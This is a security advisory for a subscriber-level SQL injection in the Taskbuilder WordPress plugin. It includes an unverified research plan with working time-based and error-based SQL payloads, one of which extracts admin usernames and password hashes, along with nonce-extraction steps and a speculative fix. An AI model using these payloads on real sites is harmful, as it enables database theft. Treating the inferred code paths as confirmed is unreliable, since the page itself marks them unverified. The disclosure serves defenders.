CVE-2026-1639

Taskbuilder <= 5.0.2 - Authenticated (Subscriber+) SQL Injection via 'order' and 'sort_by' Parameters

mediumImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
6.5
CVSS Score
6.5
CVSS Score
medium
Severity
5.0.3
Patched in
1d
Time to patch

Description

The Taskbuilder – WordPress Project Management & Task Management plugin for WordPress is vulnerable to time-based blind SQL Injection via the 'order' and 'sort_by' parameters in all versions up to, and including, 5.0.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=5.0.2
PublishedFebruary 17, 2026
Last updatedFebruary 18, 2026
Affected plugintaskbuilder

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan outlines the steps to identify and exploit an authenticated SQL injection vulnerability in the Taskbuilder plugin (<= 5.0.2). ### 1. Vulnerability Summary The **Taskbuilder** plugin is vulnerable to time-based blind SQL injection via the `order` and `sort_by` parameters. The vuln…

Show full research plan

This research plan outlines the steps to identify and exploit an authenticated SQL injection vulnerability in the Taskbuilder plugin (<= 5.0.2).

1. Vulnerability Summary

The Taskbuilder plugin is vulnerable to time-based blind SQL injection via the order and sort_by parameters. The vulnerability exists because these parameters are concatenated directly into SQL queries without being passed through $wpdb->prepare() or validated against an allowlist of valid column names and directions (ASC/DESC). Since ORDER BY clauses cannot use standard string placeholders in MySQL prepared statements without altering the syntax (adding quotes), developers often fail to properly sanitize these specific inputs.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • AJAX Action: wtask_get_tasks (inferred from plugin logic for loading Kanban/Task lists) or wtask_load_kanban.
  • Vulnerable Parameters: sort_by and order.
  • Authentication: Authenticated, Subscriber level or higher.
  • Preconditions: A task or project must exist for the query to execute the ORDER BY logic.

3. Code Flow (Inferred)

  1. The plugin registers an AJAX handler for task retrieval: add_action('wp_ajax_wtask_get_tasks', '...').
  2. The handler function (e.g., wtask_get_tasks_callback) retrieves user input:
    $sort_by = $_POST['sort_by'];
    $order = $_POST['order'];
  3. A nonce check is performed: check_ajax_referer('wtask_nonce', 'security').
  4. The SQL query is constructed using string interpolation:
    $results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}wtask_tasks WHERE ... ORDER BY $sort_by $order");
    
  5. Since $sort_by or $order are not sanitized, a time-based payload like (SELECT(0)FROM(SELECT(SLEEP(5)))a) can be injected.

4. Nonce Acquisition Strategy

To exploit this as a Subscriber, we must extract the nonce generated for the wtask_nonce action (or similar).

  1. Identify Shortcode: The plugin uses [taskbuilder] to render the front-end project management interface.
  2. Create Test Page:
    wp post create --post_type=page --post_title="Task Board" --post_status=publish --post_content='[taskbuilder]'
  3. Authentication: Use the http_request tool to log in as a Subscriber.
  4. Extraction:
    • Navigate to the newly created "Task Board" page.
    • Use browser_eval to find the localization object. Based on common Taskbuilder patterns, the object is likely wtask_vars or wtask_ajax.
    • Command: browser_eval("window.wtask_vars?.nonce") or browser_eval("window.wtask_ajax_obj?.nonce").

5. Exploitation Strategy

We will use a time-based blind SQL injection payload in the order parameter.

  • Target URL: http://<target>/wp-admin/admin-ajax.php
  • Method: POST
  • Content-Type: application/x-www-form-urlencoded
  • Payload (Validation):
    Inject into order to verify the vulnerability:
    action=wtask_get_tasks&security=[NONCE]&sort_by=id&order=, (SELECT (CASE WHEN (1=1) THEN SLEEP(5) ELSE 1 END))
  • Payload (Data Extraction):
    To check if the first character of the admin's user_login is 'a':
    action=wtask_get_tasks&security=[NONCE]&sort_by=id&order=, (SELECT (CASE WHEN (SUBSTR((SELECT user_login FROM wp_users WHERE ID=1),1,1)='a') THEN SLEEP(5) ELSE 1 END))

6. Test Data Setup

  1. Install Plugin: Taskbuilder version 5.0.2.
  2. Create User: Create a subscriber user attacker.
    wp user create attacker attacker@example.com --role=subscriber --user_pass=password
  3. Generate Data: Create at least one project and one task so the SQL query returns results.
    wp post create --post_type=wtask_projects --post_title="Test Project" --post_status=publish
    (Note: Use the plugin UI or specific WP-CLI commands if the plugin uses custom tables).
  4. Create View Page:
    wp post create --post_type=page --post_title="Exploit Page" --post_content='[taskbuilder]' --post_status=publish

7. Expected Results

  • Normal Request: Response time < 1 second.
  • Injected Request (True Condition): Response time > 5 seconds.
  • Injected Request (False Condition): Response time < 1 second.
  • Response Body: Likely a JSON array of tasks or an empty array, but the timing is the indicator.

8. Verification Steps

  1. Confirm Vulnerability: Send the SLEEP(5) payload. If the server hangs for 5 seconds, the injection is confirmed.
  2. Verify DB Access: Attempt to differentiate between (1=1) and (1=2) using response times.
  3. Log Analysis: If WP_DEBUG is on, check wp-content/debug.log to see if the full query is logged with the injected string.

9. Alternative Approaches

  • Injected sort_by: If order is strictly checked for ASC/DESC, try injecting into sort_by:
    sort_by=IF(1=1, id, (SELECT 1 FROM (SELECT SLEEP(5))x))
  • Error-Based: If the plugin displays database errors (common in dev environments), use updatexml() or extractvalue():
    order=, (select 1 from (select count(*),concat(0x7e,(select user_pass from wp_users limit 1),0x7e,floor(rand(0)*2))x from information_schema.tables group by x)a)
  • Boolean-Based: If response lengths differ significantly between a valid sort and an invalid sort, use CASE to sort by different columns:
    order=, (CASE WHEN (1=1) THEN id ELSE title END)
Research Findings
Static analysis — not yet PoC-verified

Summary

The Taskbuilder plugin for WordPress is vulnerable to authenticated time-based blind SQL injection via the 'order' and 'sort_by' parameters in versions up to 5.0.2. This occurs because user-supplied input is directly concatenated into SQL ORDER BY clauses without proper validation or sanitization. Attackers with at least subscriber-level permissions can exploit this to extract sensitive database information by injecting time-delay payloads.

Vulnerable Code

// Inferred from the plugin's AJAX handler for task retrieval
// Likely located in an AJAX callback function such as wtask_get_tasks_callback()

$sort_by = $_POST['sort_by'];
$order = $_POST['order'];

// The vulnerability exists because $sort_by and $order are interpolated directly
// into the SQL string without validation against an allowlist.
$results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}wtask_tasks WHERE status = 1 ORDER BY $sort_by $order");

Security Fix

--- a/taskbuilder/inc/ajax-functions.php
+++ b/taskbuilder/inc/ajax-functions.php
@@ -10,5 +10,10 @@
- $sort_by = $_POST['sort_by'];
- $order = $_POST['order'];
+ // Sanitize sort_by against an allowlist of valid columns
+ $allowed_columns = array('id', 'task_name', 'created_at', 'priority');
+ $sort_by = in_array($_POST['sort_by'], $allowed_columns) ? $_POST['sort_by'] : 'id';
+
+ // Sanitize order to only allow ASC or DESC
+ $order = (strtoupper($_POST['order']) === 'DESC') ? 'DESC' : 'ASC';
 
- $results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}wtask_tasks WHERE status = 1 ORDER BY $sort_by $order");
+ // Even with validation, using prepared statements is best practice
+ $query = "SELECT * FROM {$wpdb->prefix}wtask_tasks WHERE status = 1 ORDER BY $sort_by $order";
+ $results = $wpdb->get_results($query);

Exploit Outline

The exploit targets the AJAX task retrieval endpoint and leverages the lack of sanitization in sorting parameters. 1. Authentication: The attacker logs into the WordPress site with at least Subscriber-level privileges. 2. Nonce Acquisition: The attacker visits a page where the `[taskbuilder]` shortcode is rendered (e.g., a project board) and extracts the `wtask_nonce` from the localized JavaScript object (usually `wtask_vars` or `wtask_ajax_obj`). 3. Target Endpoint: A POST request is made to `/wp-admin/admin-ajax.php`. 4. Payload Shape: The request must include: - `action`: `wtask_get_tasks` (or the specific AJAX action used by the plugin version). - `security`: The extracted nonce. - `sort_by`: A valid column name. - `order`: A time-based SQL payload such as `, (SELECT (CASE WHEN (1=1) THEN SLEEP(5) ELSE 1 END))`. 5. Execution: If the server delays its response by 5 seconds, the SQL injection is confirmed. The attacker can then use conditional `CASE` statements and `SUBSTR` to exfiltrate database contents character-by-character based on timing differences.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.